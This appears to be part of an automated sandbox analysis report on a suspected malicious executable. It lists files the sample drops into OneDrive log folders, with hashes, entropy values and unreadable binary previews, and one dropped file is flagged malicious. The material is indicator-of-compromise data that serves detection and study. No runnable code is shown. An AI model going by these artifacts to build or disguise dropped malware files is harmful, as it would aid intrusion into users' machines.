Preview:	EBFGO.r.b.m.........`/.....n.U.'.k..3L+.L.\|"P.s.3........e..9AS.m.G..R...A.n....w..]<)......c^....nWv9]:B...`..D....j..BE...U9...0..........zWF...._..f.l.m...Jk......O=.\|.4..B..m.....Y..p............%..DK)...M.?..\|....hR.a?..r.....e&.L:a..T.F..K>....\|.C...'.U.i.Rh..5ow{.Q.x..~^.5I.k..y.n...(w..-Je_......-.A.......ah....^62~.P...i9...4R..........}.........I....v.6..:.1...z%_Yi..g...~..s.M.Z.N`.....F...M....@.....I.x.b..<.s...%.g.w.'_fN.T....<....5...vj2..#]....,Q-..c..a.*...5.j..'..).lc.[O.....@^.......)43....b....V6.b=.....{.1..\..p...g.:T....~..N.ti..1.d'.......+!Y.t.qv..h....KS.N(b.;....Gl.tl.1.M.o.....I.......s...........xm...v..~....PIA.?.s.t....rAC.5..x....7J.H.a.n.b..u.3.M,..I.q$@.3O......;9_n.9.n..c..5..b.?.$..GZ...hV..O......Hh........W.v..`...hm.!W;9e&bIP...oC...c.....?.6..V..Z...b:p6.<.#...........N..mQ....\|.<h..Y.\....!...n...0#;...(.f...g3.H1.;.e.......W..&.G.....7!......~.d.r....3(z...g....%'....y..6..[...

C:\Users\user\AppData\Local\Microsoft\OneDrive\logs\Common\telemetry-dll-ramp-value.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	344
Entropy (8bit):	7.276512875325569
Encrypted:	false
SSDEEP:	6:iRWLgry6nu5MGHA3Lf9n6X3Fiy0QaoywI5/VHK6VruG8vcii96Z:eGiy6nu1gL96nFbvXPILHVBXYcii9a
MD5:	E3E965C11422C2C104A3607C113445AA
SHA1:	3E0232AC536A45222C1F1C358C6815627C41B559
SHA-256:	596FA95F5E478D8AD2160EA005B1C6E0A7357927D4280DEC4B7AC30B0C072AD5
SHA-512:	BD4EF0D61E3F672937A498E6D4AD71F9EB236457F30A614697352E5DA5779904E64B6EF8587C948A50FF30F2EA4166AF70909D37DDF21E9A42EDB46A5CE4686A
Malicious:	false
Preview:	2..0,u.4...1...q.R..X..SR...b.O....>r&S>...\|.H..Y.W.u...M......*lr.KnU...cS.AA}.p..l.0E.^e}..5\.9.2............a...T'....t\|...Gd....Y08.R..z!T4z.2.....V..,..<.nv.....c.7X..R_/El{Mp.S...B..0/....Y5<.u"....~.......?y...1"s.4.T...AO..P....9.q..y.......:@....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1149.2948.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0409234447577103
Encrypted:	false
SSDEEP:	192:kTSU4QiZpd84Bpn53gmFPhQ687m7Tu2QY:1RVZpdxp5zPKx7mbd
MD5:	3C82AC35512657CF48A3FEEE68A2821D
SHA1:	C082B9AE74B6A289334B96A062B40633687C78D5
SHA-256:	60F8FEBF1D5AFD0DCCE89D720FCE9679E152861547D2772FD8E39071C16F9577
SHA-512:	5B7BAF6916C348C4B1C6F9B9D6B9E3317F8AB36B23AF2336A9507C617170988930586FA5B6E6636A2F35041D125925F922E7E3BF8BFD780946A1AF803F70086F
Malicious:	false
Preview:	EBFGO5.PB.D7v..-.cI......E...+5....m.Q..E+...eo..=.-(.....:.$z?C.6.......Y....%}.TZ...FI.F.1=.E.~6.(.... ....2e.n..M.......7..a...+...>..)U....#.?.y..[.........H..K=...!..H.c..%...Q.e)...qb<r.cw.....[VJ(.y...2...Y..0....SM._.mJ.[.A.@y.Ty..-....!....x!..w..yy.D.....9.e......I1.S..D..).....c..s..x.........>&..."..[..BuC......q....4.d/ ._......W'...C....Y..I..~.z..M....q9.....e$...;..Y4KZ<...R..O.h..J......`.I.~O..z...zP./.h..f'...a^.q=.V.....u.w.....b.vR...F."cN&..<~...C..e.y>W..cE7.x.P..<&.@..n... 2{..6......i.....j..O`....9g......Bc.~T.P. O.X..}.!....4....^....@....->8?..w...}.`.>.7M....H$.....z.L.i\JO...G...............WVM...F.h....s..%TA0..j...h.kYL....&X"S,.B.5..M...e ......z.m....!E5_..WC.#.#1..z..Z.._.i.......Bi....U1.<_.....8..kr\3.6.q.l.P.9...M..].....[zG.t&.j..kJ....N..&5..s...4.......xY...=0.5.3j..t..m....:r...8t].4t.@..'...,......"..^...........~.%...2.2}...OEK..P9\....f ...H...V4...%Ik..i.w.4..M....F.`.X..9...I..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.aodl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.2791620214971158
Encrypted:	false
SSDEEP:	96:mbRvfdotxxvzEiqIpFloR8P/ukqLd1BbIxUpckomDmWvlC5aWSX0BZT1obhYJNK3:eKp1q6FGUF+hICp36Al640jWhYJNK2
MD5:	FC2DC62412BAAFD1D9B33053FDDC70EC
SHA1:	42D253E65AC7CDBDFA718C0024B2A7E8CA77CE61
SHA-256:	3D63F5567BD79C113F8D6046770436ED28B6CC3CE819150664DBA9ABE08E0510
SHA-512:	9186E0ACC36D94C7F019BB580F5F4E440841170A4FCC46AADCDDB4F749F0E0F7B40504CC60BDA17933D5E11FD643802317788224916378874A5535D4ABEEFB90
Malicious:	false
Preview:	EBFGO.?.\[.9.R.....s).{.D.=..a.]P..i.oX..\|`.ZW..Y...e.&juL\|..~.9..c.x.C.....z.....~m.....v{.w....$...-...}.{2.)R_.e...W.....O.-}.g.Q..`....Y.9.....#)D.^._...]b.l....+._"..\.N.~$....c-X[.......`.Cw[...:.j....f.k1.w. 1......^x.F..M.g..V,..l.w$>j...-...P+..xk2....b.=.An..-..y.W.8...L.Ax.P..Y....k\.x.5.n].......H.17#>.....8...S....'.,[.(,6..<K.....@!.X..As...^.+P,..G.S...9.7..y.ZbM.....=\G.b..:........wi...g...../.s...v...a......<.WnM]..tD...N.. ?/...7-....&....;.+.....:..f..x1r.&n.,.>b....I.rg.~p.'.FCL`.7..mq/.?...J..T7Xvt._.`..G6.W.b.\.....,L.p3^.'.d.F.#..By.{...P..c. ..M....x...h/n......;2........4*.2K....2_...~?.x...vV....k1!nI.....84;.......yo+c.%-pr........1.b.,[q..y{. ..[..4'F2...o....p#..n....+C...}T.S..OY...R.k.....c..x0m....@.....}...2$...>.N... "..\z..DI\.VK..!._....XS.i.;..PM......] .{.U....3H7b.ja{...8c...A..e...^.C_.\.....FS...m...0. ..l.......H...jh...O.c...)...Q.~~..>O+[....-".5..-.._....D...!%......g..}.y

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-2023-10-03.1150.4240.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.8950071351984525
Encrypted:	false
SSDEEP:	384:3rWg9yebXmCiveOjk06MbSIcc4Nv4K3pHpv8lYoPv:KgIebXHCeeBfK5R8lY
MD5:	98BB933A7DCE3188E65D0949D0FC62AF
SHA1:	2A1651A3507D7101372689632A12D08A2FED00DA
SHA-256:	8CA3FBD7EAC755CA92D346EEAC1BF592E1CEBEF56EBBCABCB7FA0AA94594E485
SHA-512:	AD0F82F2E51B6836D0D176D8754EA30693DFEE1A7B0228825283ABDEE79462C136D3D7C3F7321D9B8D660F0005FBA52DFEAA897643495E30DEA2E8E1F1463505
Malicious:	false
Preview:	EBFGO.....]......m.7...5.t.m...RY=Ig.#......s....!;....p..q.e....]..\..pr...V.. .d....L..Z.,.s5..\|6j8..U (.?.~t.H.......%..1.,O-.....V...o).@.......@.2....(...1j.%..?...z..#...p..Ii...d6....1,n......m....!=.u/A.X..W.p^.sKj;B...,\...........;..i._B........y..w.7.J...+.!.X...P.G........'....T..."j../........#2.{....S.....\4A..Fqc..Z..1...4....._...}.Y'..!...a..@....g.....]....e.`..b.!..c.#..V}_.lV....p\|..\|.}t..G..y..../.U#.!.?....e..D..qF>w.X....z.j..)-.2.J....D 8z.....m.+..OLl......x...!..dJ{.......r"..Q..m...K.0.B........&.._.v ..{.q.[.)..Z.I.J...+...Y.\|..R.../.zm...A4.i j..(...AW.<.8=......h.6.#.te.2\).y\|b..{O...h`1H....W...3........+....:.".RAp.)Pl.x...A<{....&.\...'....y.*...0.......@....j.sbG.}.........Oe0.q..u.S.$......K.k.qx.4L....)...5x...".Q...(o..m...+.FJk6.9....@..^.U.....d~O7..."...S.{?..>.3)eA...h.Q...G..x..p.......a...hh?z..7...)....."NU'..+.O....,{.G..22..~n..d..1.....R..X[...3n.<c$......6J..3.@M..D..!..t.L.j.........(s.q.~.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.aodl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0129847866883046
Encrypted:	false
SSDEEP:	96:pDZnN8/qKeBODPMJy+KucYNEh3ZgyXE/ExBL+lVsLw5+2toLS/KzZi8o9:pDZnMPM4+KBYNEJgyoAiDsuKS/W
MD5:	BD3E9904FFA6901DE5E86CFA0F605124
SHA1:	166BC966E0711FD8410DA4931ABBA3DF8EF67F25
SHA-256:	2786C276F9A0CA7AA636E389BAAB5D1263FFA75DD113735194BDCC9185C1FC77
SHA-512:	F13BA1AA8C789D6DCFA4ACDD8FAFBEEFA14CCAA6F04968C5EB1431EED342BF10FFA78E7012399A92974DA9DBFC8F884F1F3955B14351FC13FB5195E149343321
Malicious:	false
Preview:	EBFGOq.........h.).....}e.6.(.?."..A.2....Y}.p...,s........M.M..l..t..P...\...[.z:....a....~rJ.b\.a...C.8.eIpv.b.........?....6.!u..4..7.'..a...QjJ.....Wz.A.J"..\..&1.w'......h.`,....z.T.;....AE...EL......H.......9m....<6.nuJ0.>AY...G......{.]...K..._..2...5/.~...K=..[I2..#.... .Ju\|..I..)=...E....iP..I..&.v.-..^p.A....y......R...Q..U...v.N....\ ..z..%3...1.q.n)...Sq<1-.....q.....;X 9f..56?r.^...eWrT...N.A.h....\.S....V..J^;!.d1"-I...}}.....=.........:.G..8...a...n."..]s..Xfo....x..."~...>.1..QI...R...ce....P.. .,.}D.R&..6qh..Z...c..m.Hg.F.!{Q..j..........,..+.D..w.iT=...l.............\.\|.R.(..D..'..i.&3i..y2..)F...$a...$V..,..{......n`..:M_.D'..K...e~V..#...?....x..8d.(..s.hN......v&.G........~.`...F....c..B.....[6.^`.PA.8.6=t7.a._l..x9%/..5.k..u..Y...7....s'S.orp^....y...=..&............JC..{...R.t,..p[..{$.-..I.U.....Q2...4.9...zi5....B.-. 7(.7..._..A...u&.U ...A.......WnzH.....@.ap....A.l...8..#.......1....;..!W..].

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1149.344.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20571727636206422
Encrypted:	false
SSDEEP:	24:yoKtN+cGasNdxKO8LMwT2FE2aCIZPtU73kbz:yoK/+clsD0MwTHCIZ43uz
MD5:	B92751E203E12D2D8056A6A506ED0D3D
SHA1:	46E474D71B13118958CA277640137591C55A7934
SHA-256:	38730A57417BC03D64DB0C9093DB561CDDB438FCB790792A9DE330EA98648509
SHA-512:	DFFEDFB7A7FAB67372D7C28D88C7115758A2546535119BBA688718645ECF3DB6B6546868E000D710A566BE3BE2840DDACEE37AC88C99B003E2DD5F8F731FAEB8
Malicious:	false
Preview:	EBFGO....7..cQ>...[7..e.B=......[O..6V..0.&.=........r....o....P....@..^B...!...S.$.7......n...].w...q....&..E........)....)..)~.........;..".......`gZ..7....l.D..+.V.Z_..<.....#&.. ...ul>._h.}.+}}...~.4...7... 2...HocG....!b...X.....0..\|..f8\.B....@.{>..St.%d...Z.v.w...2........V+m./N.~..Z6..[^.Y...nW.u...s..@=.w.......18...c...u........o..?'Z9./5.%...~....z....\|.<\|T.i",k:$i..... h..u..G..%.........A..6.Y;.K.{<S2.P......^/..T..1{.."%-.\|.P3x\B......G.......N..$..'.-kDk.O...R.6...v;tfB._.;2.."..Up..>,.Vu....\~.5.XE.%.V.Ao)...Z.0..D..P.l...+.....^f..C2!.%u.......}......X..J...>.l.e....y.+d.....*L<....s.K...Lw.~.....~."v..<..~.....5(.z3..Y.%..p..S...s.E.=H..;(..G..T.x.Ie.\..%.........eQ0.z.3..Q(.;.w..Mj....Ns9y..9.....mi(....H......:m.I.}.BZ%.W....p.2.f.e..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.aodl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.691557786294855
Encrypted:	false
SSDEEP:	768:4k1Zwcpq9ewcRKrSwqpWojfvVzZgNDm9L2mK:4gwEQ9voDv0NuK
MD5:	1AA07E9087A5533EC7FAC6BC24AD8384
SHA1:	84CE665FFEB17031956A05ECC3BDB8F885AB9DBE
SHA-256:	AB253CD0E88074B541CA0CEE4ACB8C4D7927EFB259F90AB5ADD4FC21C6C8538F
SHA-512:	4BAA61376DA537C893DF824DD694461127D0F9DB6A44990462A9900ACD18DFC49ED6B8635A4FDFB03480A408C3EFD09C4E0DD2CB481F53535758CCE03BCA3CA0
Malicious:	false
Preview:	EBFGO...--~..\|...$....].M....l.^......z.....^....va..[..Q&J.R.3..glv...,..h..O8..w..2.0...!.D.p....6>./....}.\..v..N.h..wA{..i..$.S...`....lN]...d4 ONB..f;..B...r).V....G......\.QDa....UZ....%...._..a/.../.t.L....H.0&=.._Y..W@...._.ida.L..~{..iq0U.cG.:.Ub..:...@t.V\33..`..g.Q.E..V.^...vzA..@.....Pf..$..5..X.P=.. ..d.%...-.n.?[...........B.6..B...+.3`...\...K@>...cX..Ua.Ng.1+.5.1%xmp......7^..s..T2.........m.{.......$..d.....`.m...(a...rP.6..,.....Z.nr.%..OZju..^.{.._!..XGZ.Aik...72..;.[X..H\|w.\~..o..+4.......<.....sRi\.....!.F.........Bq..R:..}..-..e6..:...x>...8\|.x..9.2,b.2H...\|..WM.UbhY. .....U..A0.gf......m.O.5.._{..vl..-M.9v_.N.4.v^..N....v%Kf.'.>0`..3\|..X.(...3j..yc.%.RO..';d...S..l..m.&C....=.5..P.\`.u.6.YH...8p.v..EJ.cy.......<...C.i6:dDfH..m.\.C+...u...Y.I..1i.3...+....s.4.=.pc.`....-.l..7[.....l..OvY....0..{v{.]aW+..;:....)......a.........#p.l......r..H.y.i...]!}.=....U...XT..262.N.n...^s.....FI.R...?8...`eo.e........x....q..%RBS..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser-2023-10-03.1150.9064.1.odl

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.27051208161922013
Encrypted:	false
SSDEEP:	24:AlH4xPiZSN2ZazmcJXhuH2H02Jc/9Iu2/6QTYzA9l+f4ndcHnbz:AmxO4G+j6qc/9n2SJA9l+f4ndcHbz
MD5:	C8CB1CBE881C5F40D1F80E0B8CF181C9
SHA1:	289DD3D2C4A899AD9EFF673C819EACF611244DBF
SHA-256:	8972E8677F5799D505625C10F5BF10FE4D4414331612DBE631CD1F2165D0B0B2
SHA-512:	10B452EFC2C36426D154D665ECE3F72EABDAD5604F0328828F89E00039780CD64A3AAEAEE0DD6E9A1DA652BC7BE96CD9E1657449090517DBF54562A806C1878D
Malicious:	false
Preview:	EBFGO.....=.H....z...OU`...N...>.f. ...g.........G+M>...$..8}Y.,.'..."AZ.No.PQ%{.{...V0.W3.h7...8Xj#..,k7,Mo.!.`......C........&...A.=%<..E.V.%.t...-@...Yzy......]\|....w..4........w_......Sz..5e..}a....5c.....SR.7.o.NA..U.....,JL.....{7iF.......$.....tOD..8.!......@..5cz2..{.+S.%......=H........ry.....rK..h.A.....<..?H...%...S.S....9.....P.Js.)..f......g@RX...d.BT._.#........f!#....k.2v......`L3j.....k....M....o....z...z.p.$.d.E..1....\j....Zo.....v.C>K.[..IZ.H1v...i.....&+1....}...qx...Z.wch#..7\3..d!.t..QP...[..SHj.$o....+p...2.5.s...{.j..%...$pS....5........jW.r3....Gm...E.&...0...y..3OB..d-..y.=...M.g......\|.L..DLCeP..g..#%...uc..C..0R.....G........Ym...~..7..c.;.H./..P.{Bh."...V.F.`....S..z..Ct..gi.B...py...;P...P.........aE....P.lP.N....F..{.G@m.X..n..CLi.}.:.B..3....+t.....Oay.;.X..<.....d...,.gf.....=.t..h."...&.+.eC<`e.9<S...-..b'W.......-S....Z2#..Rm.B......C,.......5B=..v...$......._b)OH......q..&........Q..D.t..+b

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_114938_158-b2c.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	7.911282115866259
Encrypted:	false
SSDEEP:	3072:c/oSOG2xcO5rrdh9T2cr31qUWfcTJsfsU:5hxcurpT2cFEcT
MD5:	DF26CE1B05E5DF123BD2A3493200E699
SHA1:	6372B4B1E51CC9D05A8BAD95CCD5F1374544870E
SHA-256:	B1EF18F80CB6D8CCB5346294ACFDF611286120A65F23F67634A0C750B8636A13
SHA-512:	DFB85B66F8893B8EC90BA1C57053A6E21F84E9D843531AB946D73D9B14A7F482E683FDFCD3E63ECA64ED06CF53A657CCC37DDB4976165AEEE9A3259569B3FC39
Malicious:	false
Preview:	1.0./...)......'S.U..y...?....I...}...)K.[.I...o.2.R.2..P...]g..06...`. ..-.y...j..,..;.....N.K..2].@q.?...d.e.Yn...].i5.....QD<d........<,8":.J..6.:...>.E2.a..$...]..X.F.r.X.c#=@.:hyv'......^.a.....<.k<.s..pS..r...C.Bj5..`.4..aoC.6?.v.}..t%a&..u.z.C.k.?m.....i.:..)...3........g.&g#{..IH.&.r....y..:dP...... .$..b...\|..-..[...#g......]#....Wm..d.G....\...........fj..vT.5..B.....z....c..W......bm0...H(."T....l.......C.R..\.%.j....2S.h.5}.G.....@^...w)......o.[.ZD.....>..qXc...!.....D"vQ.U..."l............?.@p.19..H..p6.41:..E..snW...>sf..F.,!.../.j.d\....0.,Ya.]j....'......:.Ck>..@/^.P..Xy...U..F.ft@.....\.vJm......edc.O7.&....x.a.Q...,./iu^b....Yr.ff..Tht..I5M.f>r...A.......\|(....63.J.<E[..}jy,sAy...6~k.....R.-.h8..i.]...._.WQ....j..U..c.....(...M....E=.U...:U...J.Z...`7..UMi.?;...q..8.....Y.\|US.:......$..o.h.'.7c..uI.:.x.er7..K.D...g}....u)A.6.......q..;u..-.......SL..K \..0..6.y.f.......-.J.h.I..s.H.Vn.....m...D(.t.s.Pd.%H.0_{......B.V..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-03_115005_9064-2616.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	6.792505609903147
Encrypted:	false
SSDEEP:	3072:QA7V8HxmkacPIfWsYljP4bE1Xat4vNzfO+Q/f+n60aom/t8J6hyfFutNq:xqHxmlIlLAEM4vNznQ/fb3om/t8vf
MD5:	1DC4E6D1190066B13BC51BBC1FEC1805
SHA1:	20D3B1D660230324ACAFB892298686E25403DE34
SHA-256:	36B55F9643F3AED195AA8EF076E1CB05718EDA0CBC4060577745119C8681C8B4
SHA-512:	43DCDBB35C792E1CE1E27D57E90025C887BF90D8C6719CC4574D03EE0D4CB8B35CA9617377F5B0E67B08D1D3D75A988CECDD815F8D1CAFCDCD637E2A93550177
Malicious:	false
Preview:	1.0./.Dd.'......[a.7.J...{.....V..Q..../......03EmA.3.i.wL.. .m..>.9.Z...U.G....?l.sk=...R?.N.0.....!..<8.B..a:u_x..._GIH.\|#....G.&?....zBu..k..,.K..n..iy>f/._s...~.T.M..6.vx29..cMG.W..^..l..Rt)).".D.Z@2.....{7.S.....JV....o...9..c.S.q.\...z~...r..0...p..G.....v.EMq%.......9..%vjL...C..{..Y!.c.w..z..mjq.~..H.W..&...w..7..^.?.........e.5=.K......(...r.....<.>.2.(.S.l9x.~;4R/B.1t.....NJd.._.._.....%..Vy.g$2....8/1...^.....j........^.Z.H..j..'r5A..B.B..?..`.AZ?...;.!...?......\..;....0......$rc..E.S.....p":..zK.RT..`...qr.+.y.k{\|......[D].2...fR...8..cE...?)`..J.b$4Gk.8..iR....ba.3\/w.TSv..dSm...I...z(.1......E......\..;.$....Q.<..Cp.O.@).......RZ..s,.z9..[\..-......n.O.O...."Q...g^.g.eG.D.c...7.O.R...u.)f.0.x2..m. ....q.vc...gH.u.w.......j..}..W2."......S..)!R7G.Q.Tp..`.F...t...j../m....,..x.pUX..+....J^....Y...#.N.ip..w+..k.b.(.=.E.4D.e......*;.....@.+.F1q...-.....N.n..b.P.......tW.....}Q...~>.\E......2...w......T.n.......g..<.oG..^k...G..a.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install-PerUser_2023-10-04_093243_16a0-1d8c.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.648955746854667
Encrypted:	false
SSDEEP:	3072:cvUSvt2jdfHkYDwEj9MRPBpAiUa10FpYHdXr2V:zat2jd/Rzj92AJWeQFE
MD5:	3A0ED32A3CA4BE423D2D478CBFC6AE4F
SHA1:	8FA378E7C24B2D0BB1771BF6EED3C193189C9D92
SHA-256:	7DD44DEEC55D9321C2755D8600EFBAA206893494EBACF4A0C829164233EF9DCE
SHA-512:	726A5CE899357E6D61CBAA01AF92A5EEAF8DA8CE5D4EBB85F7AF064664EA601444DEEAB570D73DAEF348995B1B535F88A9A76E97C578720C8E04AA672BA0B029
Malicious:	false
Preview:	1.0./....t.s....T.x .A...O.n......SO....?{.4K..7.-..Qk...`.E`....<?...6b.2...\.bQ0.(iT6..n2C.Mk..U^.[..vyu(..&..G.u3%...?.......mG.t.L...b.7..&....D.M....B.B^.O.Ty..=[^5,..t.S......./Y@T.;9..G............@....IE$#..qLbkv).u.....k.0.......b(....GA........{.x.6t.>..^..X6.;e........G.....s...Q..h.?.0....$I.:..-i@7...Y...Y.E..H....0.U.;....E..[....h. ;..5...~.L5j....D....vl.P.JU...<...H+8.Q...Z...S{s./..8.xD.x.........9'y...O..w.3..}.<...cQB.LQ$I.W6i.T.......;..xeRF.6.]...z.IQR..,............U.1._>H.'.a...C).H3.6....zS......E.....:q<.I..1.0..J.3... ....ZC)...@Y...t......V...g+.+.a."....a...5C,<..sw."9.D...qL.X.!m)..m-M.K8..0..2..q<y.%.s.?........@5j.o......oS#(....w.........;.ka2..i.f8,..<......3..<.P8.vwF.......U.e.i.j.&...Q...F...im..j6.kr.t...19.......{.&....9...<..]....9....X(.l......)d..p}....#....^..L..\|..7....].mq.._........d.o.....n.;Q3y.U.n..H.d^sU..ht.v.t.p..p.J..A.../...s}[de2.....a.....99...:S...v.\|s./.v..Q....*.E..y."74z.=.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_114932_b84-2220.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	30630
Entropy (8bit):	7.993311666144515
Encrypted:	true
SSDEEP:	768:9YKIrTlKI3U18mvB60dxjz3K+7bRqMnjIWl4huFoq2YFBWNqm+5V:9/IrYI3E9vBrdNTB7bRfn8Wl4huFN2MH
MD5:	717D251344BB796BFBE314500B44CCB3
SHA1:	255888495A430B8B7881421EE41552F9A4C844FF
SHA-256:	F1C9DDC5D053B23D43B8787CE37A5B4886C28172C41E263A40F98C210401D2CA
SHA-512:	52A404179AA45090558A2C6231E427F5619DB65DC1CC04AB1B3B034400109E2FD4AB39FFCB9B83FFE0734AF63818FD3B3C484B0D337E2C93F8585DFE84D920C2
Malicious:	true
Preview:	1.0./....~...Z.KV(..6.... e.Vq....f.Sm.I}S.#.0.y..F..A..s..l..xP..b......6{-.o.\.\|.'pxK..H...<e.-wKn...e:u.r...J..........,.....B..=......<.>......8.L..\|7le_Y...7GK.H\|NtK..!BN..)W.fC.<.MX......O..@_..K.^.....Q&."U.m.L;hQ..&x.D%.ol3,..).&>S.....;.s.{.F...)\|...6i%.OS."....`.E/...aJ..6{A.{.]o.i.V...M..r..ZE.g^.\|..9.\|..T4.rD.w......Gf..O...XCz...1.p.Sm...a.lmQh\|WIr........%........J.tB../..a),...c....>...B.S.H?"...'.....ux...k...)...g.\b.0j..1Vs..2....Q..9@...g".J..5.6..4..CGQ.c.Q.S.... 3X.\\9.v.@.....]..AX.T$S..G=.4,[.v.C.'....e....,U..!.XuY+..$o..{>.6....Om[.H.X.'.....7...x.-.;..b..... F^.tx.....JD...W..e...... ...>..SJ`..@t.\|.b...iz..R.x..$d@.v(.B..x.:. L....9......qK.a..../."l.....'..j...6.. NCq...t$...."...;..J..R.@Z....$..R.A.[...>q.....A.j.l.`....'....../....r{`....U.E.5.D.:,-4PW^....ir.Ow....ZF..~.w^....g..@.X....*...c.3.........t%..E"(...y-.u.W\..a...ZX...Y.X..;nU...zx..A......b.........g+.5W....h5......cq..........4...2+......Y...:'...{..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-03_115005_4240-5892.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.500554306539268
Encrypted:	false
SSDEEP:	768:xyq/mDh0uJJSQUTZ0+MH3x5PyrHoYIoRdSm88Q+/t6Xw9+aKm:xrOh0XYXvqzodot889t6C+aKm
MD5:	CDF71AC4FDEDEE7678AD5CA1F6340752
SHA1:	52518A729605136D6D2B59B3B030D7951B392686
SHA-256:	89F4F9F51BD51A68DB423C4F7F4653464CF2B58D65CD642D0FE46A56AC3B6C3B
SHA-512:	94A1611BC902260D24068A02B3EFC4E8AE5294CBF07E2A4C3372AC598C4BA4613911481295C8025A8B5915A3198B2F38625B7352D49C3370D424025101E9F697
Malicious:	false
Preview:	1.0./E.OA.'2&@...\.KS..e.TL./.Q..9]...I_.rT.....L..Q.M..3.5P.z...O..N..t...u.C...9L#..g.}.'D..)m..Vg.....c.....e......q..$.M.'.K..b...p..].M..ka.E.>...-EP.....b..Y.'....\|Q.-...h...a...yR....ZN.,.&...&.8J.r....`...}8....^.....J.U...:.&.\f.J.Kf.G......0........\=....o...R..........Y.%.6'..$.......d.rVY.D...aT....._G.N...O.......;..Ou6..!wu.X...r.....0g}..d....2....2.E)."...{....u.0.p..b..q..[.......uf.tH_.X>.ce.~1X..":...[.BcS>.u.........a..O\|.../.c~..L'Q..aw4..(#.2..x..d..$.x..j.......9..S..&.. {.\.-nS7.#..=...F.X#+.....k.....2Y.0Y..+I6/.sUx..E.? 4.$.G..4..\.Q..r..hZ9(..h<.t.V.qo......XAJ...#.g.;<..:U....PC...o.'.su.....v...7..)..`.O...7B.j....0.>..d%....a....(A....w.&...._}.....A...M.v.....kbK..m..R...<..R..N.!)...>...k!d,E.h/.?..?.0^.[p7....W...r>5......SU..[...8a...\Q.V...P.......?/...sp..lx..s(p)}....5.(.2..../ ....@{.<.?...I.g.....u_..%&A!..P.c.U.x.C.w.........e......X..,.J............p.L.{d.p.?#...ez4L.UM..B..hx......d..d....E.P.J..I.G.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Install_2023-10-04_093243_14f4-1074.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	6.629150479089516
Encrypted:	false
SSDEEP:	3072:B8Bc+nrLAzcrgC7owVd5K0JEWlyT9W92+v:BB+nrkzC1/zK0ShTm
MD5:	9717E4AFAE15EFB541A0031AE0E8608A
SHA1:	9B4B551300C41F3DD035A1B56ACB23626BF3D07F
SHA-256:	A90BC5BC06B1959C98171237900DF2D68CD70B1C034752F2FBEAC44BD73CAF53
SHA-512:	EF191DF21B438F78961F7FA802703E5B40D5BCE1939B8E8D8AC1EAC61B97341B81658AB3D419D098DC8EF272C686D87C2423F688DE19FCBCBDA2ECE667A9B595
Malicious:	false
